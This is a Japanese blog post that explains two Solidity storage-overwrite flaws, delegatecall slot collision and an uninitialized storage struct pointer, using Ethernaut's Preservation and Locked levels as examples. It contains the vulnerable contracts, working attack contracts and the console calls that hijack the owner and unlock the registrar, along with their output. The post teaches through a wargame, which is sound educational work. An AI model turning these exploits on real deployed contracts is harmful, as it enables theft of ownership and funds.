JKになりたい

何か書きたいことを書きます。主にWeb方面の技術系記事が多いかも。

意図せずstorage領域が書き換えられてしまう2大パターン

はじめに

Solidityでは意図せずstorage領域を書き換えられてしまう可能性があります。

アクセス修飾子は関係ありません。privateな変数であっても脆弱性のあるコードを書くと簡単に書き換えられてしまいます。

今回はstorage領域が意図せず書き換えられてしまう2つのコードを見ていきます。

1. delegatecallを使用した例

delegatecallとcallcode、callの違いについては以下の記事に図付きでわかりやすく書かれています。

qiita.com

記事中にも書かれている通り、delegatecall実行元のコントラクトをA、呼び出し先のコントラクトをBとしたとき、Bが指すStorage領域はAのものになるんです。

サラッと書いてますが、この使用が場合によっては致命的な脆弱性になりえます。

具体的にコードを見ていきます。コードはEthernautのPreservationから転載しました。

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

結論から言えば、このコントラクトのaddress public owner;を書き換えることができてしまいます。

手順を解説していきます。

まず前提として、このコントラクトをデプロイするときにはLibraryContractのアドレスがtimeZone1LibraryAddressとtimeZone2LibraryAddressに渡され、セットされるものとします。

LibraryContractを見ると、uint storedTime;というstorage変数が宣言されており、setTime(uint)でstoredTimeに値をセットするようなコードになっています。

この関数をdelegatecallで呼び出すと、storage領域は呼び出し元のコントラクトの領域が参照されます。

つまり、storedTimeの領域はstorageの「スロット0」に該当しますので、delegatecall経由で呼び出すと、呼び出し元の「スロット0」の領域が書き換わります。

呼び出し元のstorage領域のスロット0に該当するのはaddress public timeZone1Library;ですね。

こいつが書き換わってしまいます。つまり、timeZone1Libraryを好きな値に書き換えられます


そこで、timeZone1Libraryを悪意のあるコントラクトのアドレスに差し替えてみます。

具体的には以下のような、「owner変数=スロット2の領域を自分のアドレスに書き換える」ようなコントラクトにします。

pragma solidity ^0.4.24;

contract MyLibraryContract {

  address public timeZone1Library; 
  address public timeZone2Library;
  address public owner;           
  uint storedTime; 

  function setTime(uint _time) public {
    owner = tx.origin;
  }
}

このコントラクトがdelegatecall経由で呼び出されると、呼び出し元storage領域のスロット2がtx.originに書き換わってしまいます。

これでowner権限を乗っ取ることができてしまいました。怖いですね。。


最後に、このコントラクトのowner権限を奪うまでの具体的な手順をまとめてみます。

(1)MyLibraryContract(上記のもの)をデプロイし、コントラクトアドレスを入手する

(2)以下のようなコントラクトをデプロイ氏、hack関数を実行する。 targetには攻撃先のコントラクト、libAddrには(1)でデプロイしたコントラクトのアドレスを入れる。

contract PreservationHack {
    function hack(address target, address libAddr) public {
        require(target.call(bytes4(keccak256("setSecondTime(uint256)")), uint256(libAddr)));
    }
}

(3)timeZone1LibraryのアドレスがMyLibraryContractのものに書き換わったので、setFirstTimeを呼び出す(引数は使われないので何でも良い)

contract.setFirstTime(0)

これで、ownerが変わっている事を確認できます。

(await contract.owner()).valueOf()
"0xe3545ebaa3a0381ebd9f0868ae61b5dc89962ef5"
↓
(await contract.owner()).valueOf()
"0x31253350afc5b923f88ed45e89721a3f3c64d21f"

2. storage変数を使用した例

次に、storage変数を使用した例をみていきます。

実は、Mapping、Array、Structに関しては関数内でしか使用していない変数であっても、何もキーワードをつけなければ「storage」として初期化されます。

問題が、こいつがstorage領域を上書きするということなんですよね。。

具体例を見ていきます。 コードはEthernautのLockedからの転載です。

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

storage変数としてbool public unlocked=falseが宣言されています。

他の関数内ではunlockedに値を代入するコードは一切ないので、一見すると値を書き換えることは不可能のように思います。

・・が、書き換えることができてしまいます。

脆弱性となっているはregisterで構造体を初期化していることです。

NameRecord newRecord;storage変数として初期化されます

そして、nameに相当する部分はstorage領域のスロット0を上書きします

実際に試してみます。

contract.register((new String("0x0000000000000000000000000000000000000000000000000000000000000001")).valueOf(), "0x31253350afc5b923f88ed45e89721a3f3c64d21f")

register関数の引数に0x01を入れているだけです。(第二引数は何でも良いです)

これで、storage変数が書き換わってしまいます。

await contract.unlocked()
true

・・・気づかずやってしまいそうですね。

因みに、false=0x0なのでスロット0が0アドレスで初期化されてるせいで起こるバグなんじゃないか?と思われるかもしれませんが、そうではありません。

以下のようなuint256型で初期値として既に数値が入っているようなコントラクトコードでも勿論再現します。

pragma solidity ^0.4.23; 

contract ReWriteStorage {

    uint256 public firstNumber = 1000;
    uint256 public secondNumber = 2000;

    struct NameRecord {
        bytes32 name; 
        address mappedAddress;
    }

    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
    }
}

f:id:sakata_harumi:20181009224509p:plain

register呼び出し前の状態。firstNumberとsecondNumber共に初期値が入っていることが確認できます。

f:id:sakata_harumi:20181009224515p:plain

呼び出し後の状態。fisrstNumberが0x01を入れたので1に変更され、scondNumberがアドレスをuint256にキャストした長い数値が入っている事がわかります。

まとめ

Solidityは初見殺しの罠が多すぎる。